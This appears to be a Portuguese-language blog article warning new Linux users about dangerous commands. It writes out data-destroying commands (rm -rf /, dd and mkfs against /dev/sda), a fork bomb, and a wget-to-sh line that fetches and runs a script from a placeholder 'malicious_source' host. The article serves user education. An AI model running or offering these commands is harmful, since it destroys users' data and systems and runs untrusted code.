É importante estar ciente de comandos potencialmente perigosos no Linux que podem ser usados maliciosamente ou erroneamente por pessoas com más intenções para enganar novos utilizadores do Linux.
Quais são os comandos Linux mais perigosos?
Já me fizeram esta pergunta várias vezes, e evitei responder porque não existe uma lista definitiva de comandos Linux perigosos.
Você possui as ferramentas que lhe permitem controlar e modificar todos os aspectos do seu sistema operacional, mas se não estiver familiarizado com os comandos e ferramentas, pode facilmente estragar o seu sistema.
Imagine a situação de uma criança pequena numa casa. Existem várias maneiras de a criança se magoar. Mas isso significa que a criança não deve sair do berço?
Da mesma forma, se você estiver ciente de alguns comandos conhecidos como arriscados, pode evitar cair nas armadilhas de pessoas mal-intencionadas que tentam enganá-lo para executar comandos e estragar o seu sistema.
À medida que ganha experiência e compreende o significado e os usos dos comandos e ferramentas, menor será a probabilidade de destruir o seu sistema com comandos tolos e enganosos.
Expor o seu sistema a todos
No Linux, todos os elementos são tratados como ficheiros, e cada ficheiro possui determinadas permissões.
As permissões podem ser visualizadas com o comando ls -l
. O sistema de ficheiros raiz não é acessível a outros utilizadores sem privilégios. Embora isso garanta a privacidade e a segurança do sistema, é possível reverter essa configuração com um único comando.
chmod -R 777 /
O comando mencionado anteriormente torna todos os ficheiros na partição raiz acessíveis a todos os utilizadores. Isso implica que todos os utilizadores do sistema têm permissão de leitura, escrita e execução. Esta configuração não é adequada para o seu sistema.
rm -rf /*
Este é provavelmente o comando mais infame que circula em todas as redes sociais. Muitas vezes, você encontrará trolls comentando isso em várias discussões.
O comando rm
é usado para remover ficheiros/diretórios. As opções -r
e -f
são usadas para indicar a remoção recursiva de todos os ficheiros dentro do diretório especificado. Agora, sem privilégios de root, este comando não causará danos.
Executar o comando sudo rm -rf /
também não causará problemas, pois a maioria das distribuições fornece uma opção de segurança. Você precisa especificar --no-preserve-root
para realmente executá-lo.
sudo rm -rf / --no-preserve-root
No entanto, uma versão mais simples seria:
sudo rm -rf /*
O comando começará a apagar todos os ficheiros de forma recursiva no diretório raiz e, em algum momento, o seu sistema irá congelar com a mensagem “Erro ao apagar ficheiro”. Após reiniciar, você será direcionado para o prompt de resgate do Grub.
Substituir uma partição por dados de lixo
O /dev/random
é um comando no Linux que pode criar dados de lixo. Combine-o com o comando dd
e a sua partição, e você terá um coquetel Molotov para incendiar a sua partição.
dd if=/dev/random of=/dev/sda
O comando dd
é usado como uma ferramenta de cópia de baixo nível. Aqui, ele retira dados aleatórios de /dev/random
e substitui a partição /dev/sda
por esses dados de lixo.
Um efeito semelhante é obtido com:
cat /dev/urandom > filename
Reescrever partição
Se estiver familiarizado com sistemas de ficheiros, provavelmente sabe o que é /dev/sda. É (geralmente) a partição do seu disco rígido. O operador “>” é usado para escrever a saída do comando precedente para o local especificado fornecido.
Depois de executar um comando e escrevê-lo em /dev/sda, por exemplo:
echo "Hello" > /dev/sda
Isto substituirá a sua partição que contém todos os dados necessários para inicializar o sistema pela sequência ‘Olá’.
Comandos disfarçados
Existem diversas maneiras de executar comandos num terminal Linux. Uma dessas formas é por meio de comandos codificados em hexadecimal.
Mover tudo para o vazio
Existe um vazio dentro de cada sistema Linux. E esse vazio é o /dev/null.
Tudo o que você jogar nessa área está perdido para sempre. Além disso, ele relata o processo de escrita como um sucesso após descartar os dados, que é a principal razão de sua capacidade destrutiva.
mv /home/user/* /dev/null
O comando “mv” é usado para mover ou renomear ficheiros/diretórios. No comando acima, você move todos os ficheiros dentro do diretório pessoal para o vazio. Embora o sistema raiz não seja destruído, todos os seus dados pessoais serão perdidos.
Fazer o download e executar conteúdo malicioso
Como se procede à instalação de software no Linux? Normalmente, utiliza-se o gestor de pacotes oficial ou recorre-se a pacotes já prontos, como Deb/RPM, Snap, Flatpak, entre outros.
Contudo, alguns programas não estão empacotados e os respetivos desenvolvedores disponibilizam scripts de shell para realizar o download e a instalação. Tome o Homebrew como exemplo.
Neste cenário, o utilizador descarrega um ficheiro de shell e executa-o com privilégios de superutilizador (root) para instalar o software no sistema. Está ciente dos problemas associados a esta abordagem?
Embora funcione com software oficial, como o Homebrew, é fundamental examinar detalhadamente o conteúdo do script de shell que está a ser descarregado antes de o executar diretamente desta forma:
wget http://malicious_source -O- | sh
Formatar o disco
O comando “mkfs” formata discos e partições, mas também pode apagar os ficheiros necessários para o arranque do sistema.
mkfs.ext3 /dev/sda
Acabará com um sistema danificado além de qualquer possibilidade de recuperação.
:(){:|:&};:
Este é um exemplo de um código de “bomba de fork” no Linux. Este comando cria um grande número de processos filhos de forma recursiva, sobrecarregando o sistema e levando a um bloqueio ou falha. É importante não executar comandos como este, pois podem causar sérios problemas no sistema.
:(){:|:&};:
O símbolo “&” é o operador de segundo plano no shell. Ele instrui o shell a executar o comando em segundo plano. Nesse caso, ele define uma função chamada “:” que chama a si mesma duas vezes, uma vez em primeiro plano e outra em segundo plano. Esse processo continua a se executar repetidamente até que o sistema congele. Trata-se de um exemplo de um ataque de “bomba de fork” que pode causar a sobrecarga do sistema e a paralisação. Deve ser evitado, pois pode causar danos graves ao sistema.
Sobrescrever ficheiros de configuração importantes
Embora isto não seja um comando por si só, é mais uma precaução.
Como mencionado anteriormente, o operador “>” é usado para escrever num ficheiro. Ele simplesmente descarta qualquer conteúdo já presente no ficheiro e escreve novos dados fornecidos.
command > config_filename
Existe um termo amplamente reconhecido na informática conhecido como PEBKAC, que significa “problema existe entre o teclado e a cadeira.”
Conclusão
Isso enfatiza que, em última análise, a responsabilidade recai sobre o utilizador (no caso, você) para garantir que o sistema não seja comprometido pela execução indiscriminada de comandos potencialmente perigosos.
E essa observação se aplica igualmente ao Linux. Você tem controle completo sobre o seu sistema operacional, e o que escolher fazer com ele é inteiramente da sua responsabilidade.
Aqui estão algumas recomendações para garantir uma experiência mais segura:
- Tente compreender os comandos que está prestes a executar.
- Mantenha um backup das configurações do seu sistema.
- Faça um backup dos seus dados pessoais.
Como mencionei anteriormente, não existe uma lista fixa de comandos perigosos no Linux. Muitos outros poderiam ser adicionados a essa lista, e as possibilidades são praticamente infinitas. Portanto, é crucial adotar boas práticas e precauções para garantir a segurança do seu sistema.